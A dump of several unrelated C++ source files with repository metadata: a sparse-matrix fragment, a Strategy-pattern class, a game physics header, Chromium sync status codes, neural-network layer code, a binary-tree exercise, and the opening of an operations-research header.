}
return r;
}
void createFromDenseMatrix( const Eigen::MatrixXf &m, int blockSize ) {
assert( m.rows() == m.cols() );
create( m.rows(), blockSize );
for ( int y = 0; y < m_gridSize; y++ ) {
for ( int x = 0; x < m_gridSize; x++ ) {
insertLink( y, x );
}}
alloc();
for ( int y = 0; y < m_gridSize; y++ ) {
for ( int x = y; x < m_gridSize; x++ ) {
float *block = m_blocks.data() + calcBlockIndex( y, x ) * m_blockSize * m_blockSize;
for ( int ly = 0; ly < m_blockSize; ly++ ) {
for ( int lx = 0; lx < m_blockSize; lx++ ) {
block[lx + ly * m_blockSize] = m(ly + y * m_blockSize, lx + x * m_blockSize);
}}
}}
}
};
|
[
"ephtracy@gmail.com"
] |
ephtracy@gmail.com
|
271afde02c688e22e5733de017b7cbfeb9b645b2
|
9a1761f5e0cb11b26faa7d24311e391b4cff6b43
|
/Strategy/Strategy/CashChargeContext.cpp
|
c78d6f440277c52e0a77a116849f468c657eccb4
|
[] |
no_license
|
gary1994613/Design-Patterns
|
416acaf261c58e2a7d13e20a9f71771b0f8a95c1
|
ef20c0a80d9b9d845f9941abab8a9416fc906baf
|
refs/heads/master
| 2020-09-15T00:29:23.012595
| 2020-03-29T03:50:36
| 2020-03-29T03:50:36
| 223,305,767
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 465
|
cpp
|
#include "CashChargeContext.h"
#include <iostream>
CashChargeContext::CashChargeContext()
{
std::cout << "Ctor from CashChargeContext" << std::endl;
}
CashChargeContext::~CashChargeContext()
{
std::cout << "Dtor from CashChargeContext" << std::endl;
}
void CashChargeContext::setCashCharge(std::shared_ptr<ICashCharge> cashCharge)
{
m_ICashCharge = cashCharge;
}
double CashChargeContext::getResult(double money)
{
return m_ICashCharge->acceptCash(money);
}
|
[
"gary1994613@gmail.com"
] |
gary1994613@gmail.com
|
e7c8ac6dc2a32a6cd911e5a2cde466d1cc86e9cb
|
3ea93843b69cdc578e26b9440990f6a5a4bd3dc8
|
/source/StickyWallModel.h
|
d9bc7b11163115704a431264214056bac6008e3e
|
[] |
no_license
|
gnaww/Lumia-1
|
7d5466085f5d0ef3b3a1ccea21adbbd180a8524d
|
b7a545cd6a264ed47ed8516edd70ef7e9c944f08
|
refs/heads/main
| 2023-05-03T11:42:09.121232
| 2021-05-25T06:32:28
| 2021-05-25T06:32:28
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,655
|
h
|
//
// StickyWall.h
// Lumia
//
// Created by Olivia Li on 4/20/21.
// Copyright © 2021 Cornell Game Design Initiative. All rights reserved.
//
#ifndef StickyWallModel_h
#define StickyWallModel_h
#include "StickyWallNode.h"
class StickyWallModel : public cugl::physics2::PolygonObstacle {
protected:
/** The scene graph node for the sticky wall. */
std::shared_ptr<cugl::scene2::SceneNode> _sceneNode;
std::shared_ptr<StickyWallNode> _node;
float _drawscale;
Vec2 _surfaceNorm;
private:
/** This macro disables the copy constructor (not allowed on physics objects) */
CU_DISALLOW_COPY_AND_ASSIGN(StickyWallModel);
public:
#pragma mark Constructors
/**
* Creates a degenerate sticky wall object.
*
*/
StickyWallModel() : cugl::physics2::PolygonObstacle() { }
/**
* Destroys this StickyWallModel, releasing all resources.
*/
virtual ~StickyWallModel(void) { dispose(); }
void dispose();
bool init(const cugl::Vec2 pos, cugl::Poly2 p, float ang);
static std::shared_ptr<StickyWallModel> alloc(cugl::Vec2 pos, cugl::Poly2 p, float ang) {
std::shared_ptr<StickyWallModel> result = std::make_shared<StickyWallModel>();
return (result->init(pos, p, ang) ? result : nullptr);
}
std::shared_ptr<cugl::scene2::SceneNode> getSceneNode() {
return _sceneNode;
}
void setTextures(const std::shared_ptr<Texture>& texture);
void setDrawScale(float scale) {
_drawscale = scale;
}
Vec2 getSurfaceNorm() const{
return _surfaceNorm;
}
};
#endif /* StickyWallModel_h */
|
[
"olivialy524@gmail.com"
] |
olivialy524@gmail.com
|
0e051c4b21d7326471f8a4151017fa39488a5b0f
|
5456502f97627278cbd6e16d002d50f1de3da7bb
|
/chrome/browser/sync_file_system/sync_status_code.h
|
ed0d90d1f2dc3e0f44f8b84a62399291fa7413f0
|
[
"BSD-3-Clause"
] |
permissive
|
TrellixVulnTeam/Chromium_7C66
|
72d108a413909eb3bd36c73a6c2f98de1573b6e5
|
c8649ab2a0f5a747369ed50351209a42f59672ee
|
refs/heads/master
| 2023-03-16T12:51:40.231959
| 2017-12-20T10:38:26
| 2017-12-20T10:38:26
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,385
|
h
|
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_SYNC_FILE_SYSTEM_SYNC_STATUS_CODE_H_
#define CHROME_BROWSER_SYNC_FILE_SYSTEM_SYNC_STATUS_CODE_H_
#include <string>
#include "base/files/file.h"
namespace leveldb {
class Status;
}
namespace sync_file_system {
enum SyncStatusCode {
SYNC_STATUS_OK = 0,
SYNC_STATUS_UNKNOWN = -1000,
// Generic error code which is not specifically related to a specific
// submodule error code (yet).
SYNC_STATUS_FAILED = -1001,
// Basic ones that could be directly mapped to File::Error.
SYNC_FILE_ERROR_FAILED = -1,
SYNC_FILE_ERROR_IN_USE = -2,
SYNC_FILE_ERROR_EXISTS = -3,
SYNC_FILE_ERROR_NOT_FOUND = -4,
SYNC_FILE_ERROR_ACCESS_DENIED = -5,
SYNC_FILE_ERROR_TOO_MANY_OPENED = -6,
SYNC_FILE_ERROR_NO_MEMORY = -7,
SYNC_FILE_ERROR_NO_SPACE = -8,
SYNC_FILE_ERROR_NOT_A_DIRECTORY = -9,
SYNC_FILE_ERROR_INVALID_OPERATION = -10,
SYNC_FILE_ERROR_SECURITY = -11,
SYNC_FILE_ERROR_ABORT = -12,
SYNC_FILE_ERROR_NOT_A_FILE = -13,
SYNC_FILE_ERROR_NOT_EMPTY = -14,
SYNC_FILE_ERROR_INVALID_URL = -15,
SYNC_FILE_ERROR_IO = -16,
// Database related errors.
SYNC_DATABASE_ERROR_NOT_FOUND = -50,
SYNC_DATABASE_ERROR_CORRUPTION = -51,
SYNC_DATABASE_ERROR_IO_ERROR = -52,
SYNC_DATABASE_ERROR_FAILED = -53,
// Sync specific status code.
SYNC_STATUS_FILE_BUSY = -100,
SYNC_STATUS_HAS_CONFLICT = -101,
SYNC_STATUS_NO_CONFLICT = -102,
SYNC_STATUS_ABORT = -103,
SYNC_STATUS_NO_CHANGE_TO_SYNC = -104,
SYNC_STATUS_SERVICE_TEMPORARILY_UNAVAILABLE = -105,
SYNC_STATUS_NETWORK_ERROR = -106,
SYNC_STATUS_AUTHENTICATION_FAILED = -107,
SYNC_STATUS_UNKNOWN_ORIGIN = -108,
SYNC_STATUS_NOT_MODIFIED = -109,
SYNC_STATUS_SYNC_DISABLED = -110,
SYNC_STATUS_ACCESS_FORBIDDEN = -111,
SYNC_STATUS_RETRY = -112,
};
const char* SyncStatusCodeToString(SyncStatusCode status);
SyncStatusCode LevelDBStatusToSyncStatusCode(const leveldb::Status& status);
SyncStatusCode FileErrorToSyncStatusCode(base::File::Error file_error);
base::File::Error SyncStatusCodeToFileError(SyncStatusCode status);
} // namespace sync_file_system
#endif // CHROME_BROWSER_SYNC_FILE_SYSTEM_SYNC_STATUS_CODE_H_
|
[
"lixiaodonglove7@aliyun.com"
] |
lixiaodonglove7@aliyun.com
|
4a9efe8e2c7297f3f7eb6cf2fbf4e91da58139c8
|
00ccdafc4d760059e4c0632e5e00bb74f0529d86
|
/src/layer.cc
|
2694d4aba1f3742720f3089742cbe585bfbeee5f
|
[
"BSD-2-Clause"
] |
permissive
|
mahijatrana/convnet
|
95cb94469b7f86d560b67edfc11eb9e6a343e2a8
|
8638ac054ed5b62b9cfe70b67d525c6fabfe8157
|
refs/heads/master
| 2022-12-18T02:54:55.288715
| 2020-10-01T07:35:57
| 2020-10-01T07:35:57
| 300,189,333
| 0
| 0
|
BSD-2-Clause
| 2020-10-01T07:34:45
| 2020-10-01T07:34:44
| null |
UTF-8
|
C++
| false
| false
| 17,821
|
cc
|
#include "layer.h"
#include <iostream>
#include <sstream>
#include <set>
using namespace std;
Layer* Layer::ChooseLayerClass(const config::Layer& config) {
Layer* l = NULL;
switch (config.activation()) {
case config::Layer::LINEAR :
l = new LinearLayer(config);
break;
case config::Layer::LOGISTIC :
l = new LogisticLayer(config);
break;
case config::Layer::RECTIFIED_LINEAR :
l = new ReLULayer(config);
break;
case config::Layer::SOFTMAX :
l = new SoftmaxLayer(config);
break;
case config::Layer::SOFTMAX_DIST :
l = new SoftmaxDistLayer(config);
break;
default:
cerr << "Undefined layer type." << endl;
exit(1);
}
return l;
}
Layer::Layer(const config::Layer& config) :
has_incoming_from_same_gpu_(false),
has_outgoing_to_same_gpu_(false),
has_incoming_from_other_gpus_(false),
has_outgoing_to_other_gpus_(false),
name_(config.name()),
num_channels_(config.num_channels()),
is_input_(true),
is_output_(true),
dropprob_(config.dropprob()),
display_(config.display()),
dropout_scale_up_at_train_time_(true),
gaussian_dropout_(config.gaussian_dropout()),
max_act_gaussian_dropout_(config.max_act_gaussian_dropout()),
scale_targets_(0),
image_size_y_(config.image_size_y()),
image_size_x_(config.image_size_x()),
image_size_t_(config.image_size_t()),
img_display_(NULL),
gpu_id_(config.gpu_id()),
store_dropout_noise_(dropprob_ > 0),
loss_(NULL),
performance_(NULL),
loss_function_(config.loss_function()),
performance_metric_(config.performance_metric()),
loss_function_weight_(config.loss_function_weight()),
has_tied_data_(!config.tied_data().empty()),
tied_data_layer_name_(config.tied_data()),
batch_normalize_(config.batch_normalize()),
gamma_optimizer_(Optimizer::ChooseOptimizer(config.gamma_optimizer())),
beta_optimizer_(Optimizer::ChooseOptimizer(config.beta_optimizer())),
bn_f_(config.bn_f()),
bn_epsilon_(config.bn_epsilon()) {
add_or_overwrite_state_[""] = true;
add_or_overwrite_deriv_[""] = true;
for (const config::LayerSlice& s:config.layer_slice()) {
slice_channels_[s.name()] = s.num_channels();
num_channels_ += s.num_channels();
add_or_overwrite_state_[s.name()] = true;
add_or_overwrite_deriv_[s.name()] = true;
}
}
Layer:: ~Layer() {
if (img_display_ != NULL) delete img_display_;
if (loss_ != NULL) delete loss_;
if (performance_ != NULL) delete performance_;
}
void Layer::AddIncoming(Edge* e) {
is_input_ = false;
incoming_edge_.push_back(e);
int edge_gpu_id = e->GetGPUId();
if (edge_gpu_id != gpu_id_) {
other_incoming_gpu_ids_.insert(edge_gpu_id);
has_incoming_from_other_gpus_ = true;
} else {
has_incoming_from_same_gpu_ = true;
}
}
void Layer::AddOutgoing(Edge* e) {
is_output_ = false;
outgoing_edge_.push_back(e);
int edge_gpu_id = e->GetGPUId();
if (edge_gpu_id != gpu_id_) {
other_outgoing_gpu_ids_.insert(edge_gpu_id);
has_outgoing_to_other_gpus_ = true;
} else {
has_outgoing_to_same_gpu_ = true;
}
}
bool Layer::HasTiedData() const {
return has_tied_data_;
}
const string& Layer::GetTiedDataLayerName() const {
return tied_data_layer_name_;
}
void Layer::AllocateMemoryOnOtherGPUs() {
set<int> other_gpu_ids = other_incoming_gpu_ids_;
other_gpu_ids.insert(other_outgoing_gpu_ids_.begin(),
other_outgoing_gpu_ids_.end());
for (int gpu_id : other_gpu_ids) {
Matrix::SetDevice(gpu_id);
other_states_[gpu_id].AllocateGPUMemory(state_.GetRows(), state_.GetCols(), GetName() + " other state");
other_derivs_[gpu_id].AllocateGPUMemory(deriv_.GetRows(), deriv_.GetCols(), GetName() + " other deriv");
state_copied_[gpu_id] = false;
deriv_copied_[gpu_id] = false;
}
}
Matrix& Layer::GetOtherState(int gpu_id) {
map<int, Matrix>::iterator it;
it = other_states_.find(gpu_id);
if (it == other_states_.end()) {
cerr << "Other state not found on gpu " << gpu_id << endl;
exit(1);
}
return it->second;
}
Matrix& Layer::GetOtherDeriv(int gpu_id) {
map<int, Matrix>::iterator it;
it = other_derivs_.find(gpu_id);
if (it == other_derivs_.end()) {
cerr << "Other deriv not found on gpu " << gpu_id << endl;
exit(1);
}
return it->second;
}
/** Add up the state from all GPUs.*/
void Layer::AccumulateState() {
bool overwrite = !has_incoming_from_same_gpu_;
for (int gpu_id : other_incoming_gpu_ids_) {
Matrix& other = GetOtherState(gpu_id);
other.WaitTillReady(); // dst->SetReady after ComputeUp.
if (overwrite) {
state_.Set(other);
} else {
state_.Add(other);
}
overwrite = false;
}
}
void Layer::AccumulateDeriv() {
bool overwrite = !has_outgoing_to_same_gpu_;
for (int gpu_id : other_outgoing_gpu_ids_) {
Matrix& other = GetOtherDeriv(gpu_id);
other.WaitTillReady(); // setready after computedown.
if (overwrite) {
deriv_.Set(other);
} else {
deriv_.Add(other);
}
overwrite = false;
}
}
void Layer::BroadcastState() {
if (has_outgoing_to_other_gpus_) {
for (int gpu_id: other_outgoing_gpu_ids_) {
CopyStateToGPU(gpu_id);
}
}
}
void Layer::ResetStateCopies() {
for (int gpu_id: other_incoming_gpu_ids_) state_copied_[gpu_id] = false;
for (int gpu_id: other_outgoing_gpu_ids_) state_copied_[gpu_id] = false;
}
void Layer::ResetDerivCopies() {
for (int gpu_id: other_incoming_gpu_ids_) deriv_copied_[gpu_id] = false;
for (int gpu_id: other_outgoing_gpu_ids_) deriv_copied_[gpu_id] = false;
}
void Layer::CopyStateToGPU(int dest_gpu) {
if (!state_copied_[dest_gpu]) {
Matrix::SetDevice(dest_gpu);
state_.WaitTillReady(); // wait for l->GetState().SetReady() after ApplyActivation.
//GetOtherState(gpu_id).CopyP2PAsync(state_);
GetOtherState(dest_gpu).Set(state_);
state_copied_[dest_gpu] = true;
}
}
void Layer::BroadcastDeriv() {
if (has_incoming_from_other_gpus_) {
for (int gpu_id: other_incoming_gpu_ids_) {
CopyDerivToGPU(gpu_id);
}
}
}
void Layer::CopyDerivToGPU(int dest_gpu) {
if (!deriv_copied_[dest_gpu]) {
Matrix::SetDevice(dest_gpu);
deriv_.WaitTillReady(); // wait for l->GetDeriv().SetReady() after ApplyDerivativeofActivation.
//GetOtherDeriv(dest_gpu).CopyP2PAsync(deriv_);
GetOtherDeriv(dest_gpu).Set(deriv_);
deriv_copied_[dest_gpu] = true;
}
}
void Layer::SetSize(int image_size_y, int image_size_x, int image_size_t) {
image_size_y_ = image_size_y;
image_size_x_ = image_size_x;
image_size_t_ = image_size_t;
cout << "Layer " << name_ << ": " << image_size_y << "x" << image_size_x;
if (image_size_t > 1) cout << "x" << image_size_t;
cout << endl;
if (display_) {
if (num_channels_ == 3) {
img_display_ = new ImageDisplayer(image_size_x, image_size_y, num_channels_, false, name_);
} else {
img_display_ = new ImageDisplayer(image_size_x, image_size_y, num_channels_, true, name_);
}
}
}
void Layer::SetupSlices() {
int start = 0, end;
const int num_pixels = image_size_y_ * image_size_x_ * image_size_t_;
const int batch_size = state_.GetRows();
for (auto& kv : slice_channels_) {
end = start + num_pixels * kv.second;
state_.GetSlice(state_slices_[kv.first], start, end);
deriv_.GetSlice(deriv_slices_[kv.first], start, end);
state_slices_[kv.first].SetShape4D(batch_size, image_size_x_, image_size_y_, kv.second * image_size_t_);
deriv_slices_[kv.first].SetShape4D(batch_size, image_size_x_, image_size_y_, kv.second * image_size_t_);
start = end;
}
}
void Layer::AllocateMemory(int batch_size) {
const int num_pixels = image_size_y_ * image_size_x_ * image_size_t_;
Matrix::SetDevice(gpu_id_);
state_.AllocateGPUMemory(batch_size, num_pixels * num_channels_, GetName() + " state");
deriv_.AllocateGPUMemory(batch_size, num_pixels * num_channels_, GetName() + " deriv");
state_.SetShape4D(batch_size, image_size_x_, image_size_y_, num_channels_ * image_size_t_);
deriv_.SetShape4D(batch_size, image_size_x_, image_size_y_, num_channels_ * image_size_t_);
if (is_input_) store_dropout_noise_ = false;
if (store_dropout_noise_) {
dropout_noise_.AllocateGPUMemory(batch_size, num_pixels * num_channels_, GetName() + " dropout");
}
if (batch_normalize_) {
gamma_.AllocateGPUMemory(1, num_channels_, GetName() + " bn");
beta_.AllocateGPUMemory(1, num_channels_, GetName() + " bn");
grad_gamma_.AllocateGPUMemory(1, num_channels_, GetName() + " bn");
grad_beta_.AllocateGPUMemory(1, num_channels_, GetName() + " bn");
gamma_optimizer_->AllocateMemory(1, num_channels_);
beta_optimizer_->AllocateMemory(1, num_channels_);
gamma_.Set(1);
beta_.Set(0);
batch_mu_.AllocateGPUMemory(1, num_channels_);
batch_sigma_.AllocateGPUMemory(1, num_channels_);
mu_.AllocateGPUMemory(1, num_channels_);
sigma_.AllocateGPUMemory(1, num_channels_);
mu_.Set(0);
sigma_.Set(1);
}
SetupSlices();
AllocateMemoryOnOtherGPUs();
Matrix::SetDevice(gpu_id_);
if (is_output_) {
loss_ = LossFunction::ChooseLossFunction(loss_function_);
performance_ = LossFunction::ChooseLossFunction(performance_metric_);
}
}
Matrix& Layer::GetState() {
return state_;
}
Matrix& Layer::GetState(const string& slice) {
if (slice.empty()) {
return state_;
} else {
auto it = state_slices_.find(slice);
if (it == state_slices_.end()) {
cerr << "Layer " << name_ << " does not contain a slice called " << slice << endl;
exit(1);
}
return it->second;
}
}
bool Layer::AddOrOverwriteState(const string& slice) {
auto it = add_or_overwrite_state_.find(slice);
if (it == add_or_overwrite_state_.end()) {
cerr << "Layer " << name_ << " does not contain a slice called " << slice << endl;
exit(1);
}
bool val = it->second;
it->second = false;
return val;
}
bool Layer::AddOrOverwriteDeriv(const string& slice) {
auto it = add_or_overwrite_deriv_.find(slice);
if (it == add_or_overwrite_deriv_.end()) {
cerr << "Layer " << name_ << " does not contain a slice called " << slice << endl;
exit(1);
}
bool val = it->second;
it->second = false;
return val;
}
void Layer::ResetAddOrOverwrite() {
for (auto& kv : add_or_overwrite_state_) kv.second = true;
for (auto& kv : add_or_overwrite_deriv_) kv.second = true;
}
int Layer::GetNumChannels(const string& slice) const {
int res = 0;
if (slice.empty()) {
res = num_channels_;
} else {
auto it = slice_channels_.find(slice);
if (it == slice_channels_.end()) {
cerr << "Layer " << name_ << " does not contain a slice called " << slice << endl;
exit(1);
} else {
res = it->second;
}
}
return res;
}
Matrix& Layer::GetDeriv() {
return deriv_;
}
Matrix& Layer::GetDeriv(const string& slice) {
if (slice.empty()) {
return deriv_;
} else {
auto it = deriv_slices_.find(slice);
if (it == deriv_slices_.end()) {
cerr << "Layer " << name_ << " does not contain a slice called " << slice << endl;
exit(1);
}
return it->second;
}
}
void Layer::ApplyDropoutAtTrainTime() {
if (dropprob_ > 0) {
if (gaussian_dropout_) {
dropout_noise_.FillWithRandn();
dropout_noise_.Mult(dropprob_);
dropout_noise_.Add(1);
state_.Mult(dropout_noise_);
if (max_act_gaussian_dropout_ > 0) {
// Clip the activations so that |act| <= max_act_gaussian_dropout_
state_.UpperBoundMod(max_act_gaussian_dropout_);
}
} else { // Standard binary dropout.
float scale = dropout_scale_up_at_train_time_ ?
(1.0 / (1 - dropprob_)) : 1.0;
if (store_dropout_noise_) {
dropout_noise_.SampleBernoulli(1- dropprob_);
dropout_noise_.Mult(scale);
state_.Mult(dropout_noise_);
} else {
// Does the same thing as above, but doesn't remember the noise.
// The only reason to do this is to save memory on the gpu.
// This is ok to do for layers
// (1) whose activation function has a slope of 0 when the activation is 0 (logistic, relu).
// (2) which we don't want to backprop through (e.g. input layers).
state_.Dropout(dropprob_, 0, scale);
}
}
}
}
void Layer::ApplyDerivativeofDropout() {
if (dropprob_ > 0) {
if (gaussian_dropout_) {
deriv_.Mult(dropout_noise_);
// The real state must be used for backproping through the non linearity.
// The gradient for the layer above has already been computed.
// Undo dropout.
state_.Divide(dropout_noise_);
} else {
if (store_dropout_noise_) {
deriv_.Mult(dropout_noise_);
} else if (dropout_scale_up_at_train_time_) {
deriv_.Mult(1. / (1 - dropprob_));
}
}
}
}
void Layer::ApplyDropoutAtTestTime() {
if (dropprob_ > 0) {
if (!dropout_scale_up_at_train_time_ && !gaussian_dropout_) {
// Scale down.
state_.Mult(1 - dropprob_);
}
}
}
float Layer::GetPerformanceMetric() {
return performance_->GetLoss(state_, data_);
}
void Layer::ComputeDeriv() {
loss_->GetLossDerivative(state_, data_, deriv_);
if (loss_function_weight_ != 1.0) {
deriv_.Mult(loss_function_weight_);
}
}
float Layer::GetLoss() {
return loss_function_weight_ * loss_->GetLoss(state_, data_);
}
void Layer::Display() {
Display(0);
}
void Layer::Display(int image_id) {
if (img_display_ != NULL && display_) {
state_.CopyToHost();
img_display_->DisplayImage(state_.GetHostData(), state_.GetRows(), image_id);
//copy_to_host(&deriv_);
//img_display->DisplayImage(deriv_.data_host, deriv_.size[0], image_id);
}
}
void Layer::ApplyBatchNormalization(bool train) {
int batch_size = state_.GetRows();
state_.Reshape(-1, num_channels_);
int n = state_.GetRows();
if (train) {
// Subtract mean.
state_.SumRows(batch_mu_, 0, 1.0f / n);
state_.AddRowVec(batch_mu_, -1);
// Divide by std dev.
state_.SqSumAxis(batch_sigma_, 0, 1.0f / n, 0);
batch_sigma_.Add(bn_epsilon_);
batch_sigma_.Sqrt();
state_.DivideByRowVec(batch_sigma_);
// Update the running averages.
mu_.Mult(bn_f_);
mu_.Add(batch_mu_, 1-bn_f_);
sigma_.Mult(bn_f_);
sigma_.Add(batch_sigma_, 1-bn_f_);
} else {
state_.AddRowVec(mu_, -1);
state_.DivideByRowVec(sigma_);
}
state_.MultByRowVec(gamma_);
state_.AddRowVec(beta_, 1);
state_.Reshape(batch_size, -1);
}
void Layer::ApplyDerivativeofBatchNormalization() {
// Reshape.
int batch_size = state_.GetRows();
deriv_.Reshape(-1, num_channels_);
state_.Reshape(-1, num_channels_);
int n = state_.GetRows();
// Recover the state before multiplying by gamma and adding beta.
state_.AddRowVec(beta_, -1);
state_.DivideByRowVec(gamma_);
// Compute derivative for beta.
deriv_.SumRows(grad_beta_, 0, 1.0f / n);
// Back prop through normalization and compute derivative for gamma.
Matrix::BNBpropInplace(deriv_, state_, grad_gamma_);
deriv_.MultByRowVec(gamma_);
deriv_.DivideByRowVec(batch_sigma_);
// Restore state.
state_.MultByRowVec(gamma_);
state_.AddRowVec(beta_, 1);
// Reshape back.
state_.Reshape(batch_size, -1);
deriv_.Reshape(batch_size, -1);
gamma_optimizer_->Optimize(grad_gamma_, gamma_);
beta_optimizer_->Optimize(grad_beta_, beta_);
}
void Layer::ApplyDropout(bool train) {
if (train) {
ApplyDropoutAtTrainTime();
} else {
ApplyDropoutAtTestTime();
}
}
void Layer::NotifyStart() {
if (batch_normalize_) {
gamma_optimizer_->NotifyStart(gamma_);
beta_optimizer_->NotifyStart(beta_);
}
}
LinearLayer::LinearLayer(const config::Layer& config) : Layer(config) {
}
void LinearLayer::ApplyActivation() {
// Do nothing.
}
void LinearLayer::ApplyDerivativeOfActivation() {
// Do nothing.
}
void LinearLayer::AllocateMemory(int batch_size) {
Layer::AllocateMemory(batch_size);
const int num_pixels = image_size_y_ * image_size_x_ * image_size_t_;
if (is_output_) data_.AllocateGPUMemory(batch_size, num_pixels * num_channels_, GetName() + " data");
}
ReLULayer::ReLULayer(const config::Layer& config) :
LinearLayer(config), rectify_after_gaussian_dropout_(false) {
store_dropout_noise_ = false;
}
void ReLULayer::ApplyActivation() {
state_.LowerBound(0);
}
void ReLULayer::ApplyDropout(bool train) {
Layer::ApplyDropout(train);
if (gaussian_dropout_ && rectify_after_gaussian_dropout_) {
ApplyActivation();
}
}
void ReLULayer::ApplyDerivativeOfActivation() {
deriv_.ApplyDerivativeOfReLU(state_);
}
void SoftmaxLayer::AllocateMemory(int batch_size) {
Layer::AllocateMemory(batch_size);
if (is_output_) data_.AllocateGPUMemory(batch_size, 1, GetName() + " data");
Matrix::RegisterTempMemory(batch_size);
}
void SoftmaxLayer::ApplyActivation() {
state_.ApplySoftmax();
}
void SoftmaxLayer::ApplyDerivativeOfActivation() {
cerr << "Back prop through softmax is not implemented." << endl;
exit(1);
}
void SoftmaxDistLayer::AllocateMemory(int batch_size) {
Layer::AllocateMemory(batch_size);
const int numdims = state_.GetCols();
Matrix::RegisterTempMemory(batch_size * numdims); // For computing CE.
if (is_output_) data_.AllocateGPUMemory(batch_size, numdims, GetName() + " data");
}
LogisticLayer::LogisticLayer(const config::Layer& config) : Layer(config) {
store_dropout_noise_ = false;
}
void LogisticLayer::AllocateMemory(int batch_size) {
Layer::AllocateMemory(batch_size);
Matrix::RegisterTempMemory(batch_size);
if (is_output_) data_.AllocateGPUMemory(batch_size, num_channels_, GetName() + " data");
}
void LogisticLayer::ApplyActivation() {
state_.ApplyLogistic();
}
void LogisticLayer::ApplyDerivativeOfActivation() {
deriv_.ApplyDerivativeOfLogistic(state_);
}
|
[
"nitish@cs.toronto.edu"
] |
nitish@cs.toronto.edu
|
56188f8ec3e433ae348f250541b3a8e70d04fb06
|
f7c37a2b3c8c96b3ff78c34ceab6a13a66877d34
|
/Problem set 9/P_08/main.cpp
|
7b49248f91775e040e0a5050e6aac291ba9649c7
|
[] |
no_license
|
camilo1704/Eckel-Thinking-in-Cpp-exercices
|
6c0a89e6605ba78ae04bef59087f9059286d3e74
|
88a994537b58d504fb7299882b469a202590ee9c
|
refs/heads/master
| 2020-05-24T17:13:43.235129
| 2019-05-18T19:21:20
| 2019-05-18T19:21:20
| 187,379,262
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 225
|
cpp
|
#include <base.h>
int main()
{
base b(1);
derivada_1 d(2,3);
base* a=b.clone();
base* a1=d.clone();
a1->print();
d.print();
delete &b;
delete &d;
delete a;
delete a1;
return 0;
}
|
[
"noreply@github.com"
] |
camilo1704.noreply@github.com
|
458b76ef8b6948cdcdb97c9b937419bed1522f2c
|
db60eabefddf506ec60dd2bed13ab45a0dfe2b13
|
/C++ REF/verticalorder.cpp
|
d79456c9dd9938ace438af9364b2e2ece45788cc
|
[] |
no_license
|
ksatyendra/REF
|
0b3f5f3ea311cc48ccca4ad96a6c997dbe9c5bb2
|
d2fa565e2ef1e57ac4db222c8cd1c81d7d471033
|
refs/heads/master
| 2020-04-10T10:17:18.358470
| 2018-12-08T17:12:39
| 2018-12-08T17:12:39
| 160,961,206
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,826
|
cpp
|
#include<iostream>
using namespace std;
int MAX=0,MIN=0;
struct bstnode
{
bstnode *left; int data; int loc; bstnode *right;
};
struct topview
{
int tag; int loc; int data[10];
};
struct Queue
{
int Front; int Rear; int Size; bstnode *Elements[50];
};
int QueueIsFull(Queue *Q)
{
if((Q->Rear+1)%Q->Size==Q->Front) return 1;
return 0;
}
int isEmptyQueued(Queue *Q)
{
if((Q->Rear==-1)&&Q->Front==-1) return 1;
return 0;
}
void EnQueued(Queue *Q,bstnode *k)
{
if(QueueIsFull(Q)) cout<<"Queue is Full!!!";
else
{
if(Q->Front==-1)
{
Q->Front=0; Q->Rear=0;
}
else
{
Q->Rear=(Q->Rear+1)%Q->Size;
}
Q->Elements[Q->Rear]=k;
}
}
bstnode *DeQueued(Queue *Q)
{
bstnode *t;
if(isEmptyQueued(Q)) cout<"Queue is Empty!!!";
else
{
if(Q->Front==Q->Rear)
{
t=Q->Elements[Q->Front]; Q->Front=-1; Q->Rear=-1;
}
else{
t=Q->Elements[Q->Front]; Q->Front=(Q->Front+1)%Q->Size;
}
}
return t;
}
void insertNode(bstnode **T,int k,int &i)
{
if((*T)==NULL)
{
*T=new bstnode; (*T)->data=k; (*T)->loc=i;
if(i>MAX) MAX=i;
if(i<MIN) MIN=i;
(*T)->left=(*T)->right=NULL;
}
else if(k<(*T)->data)
{i=(*T)->loc-1;insertNode(&((*T)->left),k,i);}
else
{i=(*T)->loc+1;insertNode(&((*T)->right),k,i);}
}
void TopView(bstnode *B,topview t[],int Size)
{
for(int i=0;i<Size;i++)
{
t[i].loc=MIN;
for(int k=0;k<5;k++)
t[i].data[k]=0;
MIN++; //if(MIN==MAX) break;
}
Queue *Q; Q=new Queue;
Q->Front=-1; Q->Rear=-1; Q->Size=20;
bstnode *temp,*null,*p; null=new bstnode;
if(!B) cout<<"error!!";
EnQueued(Q,B);
while(!isEmptyQueued(Q))
{
int i,k=0; temp=DeQueued(Q);
for( i=0;i<Size;i++)
if(t[i].loc==temp->loc) break;
while(t[i].data[k]!=0) k++;
t[i].data[k]=temp->data;
if(temp->left) EnQueued(Q,temp->left);
if(temp->right) EnQueued(Q,temp->right);
}
for(int i=0;i<Size;i++)
{ int k=0;
while(t[i].data[k]!=0) cout<<t[i].data[k++]<<" ";
cout<<endl;
}
}
int main()
{
bstnode *B; B=NULL;int d;int i=0,j=0;char ch='y';
while(ch=='y')
{
cout<<"Enter data:"; cin>>d;
insertNode(&B,d,i);
cout<<"Want to add more nodes<y/n>"; cin>>ch;j++;
}
topview t[j]; //j=MAX-MIN+1;
TopView(B,t,j);
}
|
[
"ksatyendra218@gmail.com"
] |
ksatyendra218@gmail.com
|
a91f4cc16c82fc7cfddf5b3ec33741414bc96227
|
802007d9aaa09ee69d3c9a423733987aedb64b31
|
/code_C++/Instance.h
|
615c779a2d2f048b3b591e81ddf5a2dc73e56055
|
[] |
no_license
|
BASARANOMO/Renault-operations-research-project
|
b04c8fee60d3ff16e189ec65da5202e3b5b46834
|
8575afa1f162c7b98ac969fdd79f2ee3a7b8ecd8
|
refs/heads/main
| 2023-02-16T23:52:00.268274
| 2021-01-14T10:35:33
| 2021-01-14T10:35:33
| 312,566,174
| 1
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 515
|
h
|
#ifndef __INSTANCE__
#define __INSTANCE__
#include "Usine.h"
#include "Fournisseur.h"
#include <string>
class Instance
{
public:
bool verbose;
int horizon;
int nbUsines;
int nbFournisseurs;
int nbEmballages;
int metrageLineaireCamion;
